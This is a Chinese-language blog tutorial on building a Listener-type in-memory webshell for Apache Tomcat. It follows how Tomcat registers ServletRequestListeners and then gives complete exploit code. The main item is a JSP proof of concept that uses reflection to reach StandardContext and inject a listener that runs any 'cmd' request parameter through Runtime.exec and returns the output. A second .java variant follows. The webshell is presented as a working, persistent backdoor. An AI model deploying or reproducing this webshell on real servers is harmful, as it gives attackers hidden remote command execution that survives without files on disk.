0x01 前言
內存馬給我最大的感受是,它可以有很強的隱蔽性,但是攻擊方式也是比較局限,僅僅是文件上傳這種,相比于反序列化其實,反序列化的危害性要強的多的多。
之前在前文基礎內容里面已經提過了 Tomcat 的一些架構知識,這里的話就不再贅述,簡單寫一下 Listener 的基礎知識。
0x02 Listener 基礎知識
Java Web 開發中的監聽器(Listener)就是 Application、Session 和 Request 三大對象創建、銷毀或者往其中添加、修改、刪除屬性時自動執行代碼的功能組件。
用途
可以使用監聽器監聽客戶端的請求、服務端的操作等。通過監聽器,可以自動出發一些動作,比如監聽在線的用戶數量,統計網站訪問量、網站訪問監控等。
Listener 三個域對象
ServletContextListener
HttpSessionListener
ServletRequestListener
很明顯,ServletRequestListener 是最適合用來作為內存馬的。
因為 ServletRequestListener 是用來監聽 ServletRequest對 象的,當我們訪問任意資源時,都會觸發ServletRequestListener#requestInitialized()方法。下面我們來實現一個惡意的 Listener。
0x03 Listener 基礎代碼實現
和之前 Filter 型內存馬的原理其實是一樣的,之前我們說到 Filter 內存馬需要定義一個實現 Filter 接口的類,Listener 也是一樣,我們直接在之前創建好的 Servlet 項目里面凍手。
要求 Listener 的業務對象要實現EventListener這個接口,我們可以先去看一下EventListener這個接口

它有非常多的實現類,那么如果我們需要實現內存馬的話就需要找一個每個請求都會觸發的 Listener,我們去尋找的時候一定是優先找 Servlet開頭的類。
這里我找到了ServletRequestListener,因為根據名字以及其中的requestInitialized()方法感覺我們的發送的每個請求都會觸發這個監控器。

這里我們嘗試自己寫一個 Listener,并進行測試。
因為前面猜想requestInitialized()方法可以觸發 Listener 監控器,所以我們在requestInitialized()方法里面加上一些代碼,來證明它何時被執行。
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;
@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {
public ListenerTest(){
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 被調用");
}
}
同樣是需要我們修改 web.xml 文件的,添加如下。
Listener.ListenerTest
接著訪問對應的路徑即可,這里是因人而異的。當我們訪問對應路徑的時候,會在控制臺打印出如下的信息。

至此,Listener 基礎代碼實現完成,下面我們來分析 Listener 的運行流程。
0x04 Listener 流程分析
流程分析的意義是讓我們能夠正確的寫入惡意的內存馬,具體要解決的其實有以下兩個問題:
1、 我們的惡意代碼應該在哪兒編寫?
2、 1. Tomcat 中的 Listener 是如何實現注冊的?
1. 應用開啟前
先讀取 web.xml
一開始我是把斷點下在requestInitialized()方法這里的,后續發現進不去,于是看了其他師傅的文章,才知道是:在啟動應用的時候,ContextConfig類會去讀取配置文件,所以我們去到ContextConfig這個類里面找一下哪個方法是來讀取配置文件的。
找了很久,主要是去看誰調用了 web.xml,最好是誰把 web.xml 作為參數傳進去,因為一般作為參數傳進去,才會進行大處理,發現是configureContext()方法。

這個方法主要是做一些讀取數據并保存的工作,我們不難發現其中讀取了 Filter 等 Servlet 組件,我們重點肯定是關注于 Listener 的讀取的,最后找到在這個地方讀取了 web.xml。

所以這個地方,1235 行可以先打個斷點,接著我們繼續往里看 ————addApplicationListener()這個方法,進去之后發現是一個接口中的方法,我們去找它的實現方法。

第一個FailedContext類里面的addApplicationListener()是沒東西的,東西在StandContext里面。
明白斷點后開始調試:
一開始我們的第一步,直接獲取到 web.xml,如圖:

我們看到 webxml 里面的 listener 已經有了對應的 Listener 文件,繼續往下走。
總的代碼比較啰嗦,但是耐心一點也還好,我們下一步應該是走到addApplicationListener()這里的。

讀取完配置文件,加載 Listener
當我們讀取完配置文件,當應用啟動的時候,StandardContext會去調用listenerStart()方法。這個方法做了一些基礎的安全檢查,最后完成簡單的 start 業務。

剛開始的地方,listenerStart()方法中有這么一個語句:
String listeners[] = findApplicationListeners();
這里實際就是把之前的 Listener 存到這里面,之前看某位師傅的文章這個地方分析半天,其實根本沒必要,這里自己心里有個數就好了,我也就不跟斷點了,這個調試過程非常煩雜,沒有必要。
2. 應用運行過程
我們最先開始調試,肯定是把斷點下在requestInitialized()方法這里的,調試之后發現一個什么問題呢?是我們走進去之后的代碼沒有什么實際作用,其實這里是斷點下錯了,正確的斷點位置應該下在這里。

正確的斷點位置如圖:

開始調試,這里我們先進到getApplicationEventListeners()方法里面:

getApplicationEventListeners()方法做了這么一件事:獲取一個 Listener 數組:
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
我們可以點進去看一下 applicationEventListenersList 是什么,可以看到 Listener 實際上是存儲在applicationEventListenersList屬性中的。

并且我們可以通過StandardContext#addApplicationEventListener()方法來添加 Listener:
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
到這一步的調試就沒有內容了,所以這里的邏輯有應該是和 Filter 差不多的,Listener 這里有一個 Listener 數組,對應的 Filter 里面也有一個 Filter 數組。
在 Listener 組內的 Listeners 會被逐個觸發,最后到我們自己定義的 Listener 的requestInitialized()方法去。

3. 小結運行流程
在應用開始前,先讀取了 web.xml,從中讀取到 Listeners,并進行加載;加載完畢之后會進行逐個讀取,對每一個 Listener,都會到requestInitialized()方法進去。
0x05 Listner 型內存馬 EXP 編寫
1. EXP 分析
如果我們要實現 EXP,要做哪些步驟呢?
很明顯的一點是,我們的惡意代碼肯定是寫在對應 Listener 的requestInitialized()方法里面的。
通過 StandardContext 類的addApplicationEventListener()方法把惡意的 Listener 放進去。
Listener 與 Filter 的大體流程是一樣的,所以我們也可以把 Listener 先放到整個 Servlet 最前面去
這就是最基礎的兩步了,如果排先后順序的話一定是先獲取 StandardContext 類,再通過addApplicationEventListener()方法把惡意的 Listener 放進去,我們可以用流程圖來表示一下運行過程。

2. EXP 編寫
我們一步步來實現整個 EXP,首先做最簡單的工作 ———— 編寫惡意的代碼。
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r");
}
}
}catch (Exception e){
e.printStackTrace();
}
接著是獲取 StandardContext 的代碼,并且添加 Listener,在StandardHostValve#invoke中,可以看到其通過request對象來獲取StandardContext類。

同樣地,由于JSP內置了request對象,我們也可以使用同樣的方式來獲取。
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
接著我們編寫一個惡意的Listener。
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
最后添加監聽器。
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
3. 最終 PoC
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();
if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners();
List listeners = Arrays.asList(objects);
List arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>
成功
這是 JSP 的寫法,我們還可以和 Filter 型內存馬一樣,用 .java 的寫法來完成。PoC 如下,我這里實驗失敗了,師傅們可以自行測試一下。
package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
@WebListener
public class ListenerShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest req = (HttpServletRequest)servletRequestEvent.getServletRequest();
HttpServletResponse resp = this.getResponseFromRequest(req);
String cmd = req.getParameter("cmd");
try {
String result = this.CommandExec(cmd);
resp.getWriter().println(result);
System.out.println("部署完成");
} catch (Exception e) {
}
}
public String CommandExec(String cmd) throws Exception {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
InputStream stderr = proc.getInputStream();
InputStreamReader isr = new InputStreamReader(stderr);
BufferedReader br = new BufferedReader(isr);
String line = null;
StringBuffer sb = new StringBuffer();
while ((line = br.readLine()) != null) {
sb.append(line + "");
}
return sb.toString();
}
public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
HttpServletResponse var2 = null;
try {
Field var3 = var1.getClass().getDeclaredField("response");
var3.setAccessible(true);
var2 = (HttpServletResponse)var3.get(var1);
} catch (Exception var8) {
try {
Field var4 = var1.getClass().getDeclaredField("request");
var4.setAccessible(true);
Object var5 = var4.get(var1);
Field var6 = var5.getClass().getDeclaredField("response");
var6.setAccessible(true);
var2 = (HttpServletResponse)var6.get(var5);
} catch (Exception var7) {
}
}
return var2;
}
}
信息安全國家工程研究中心
安全圈
看雪學苑
合天網安實驗室
系統安全運維
雷石安全實驗室
LemonSec
系統安全運維
LemonSec
系統安全運維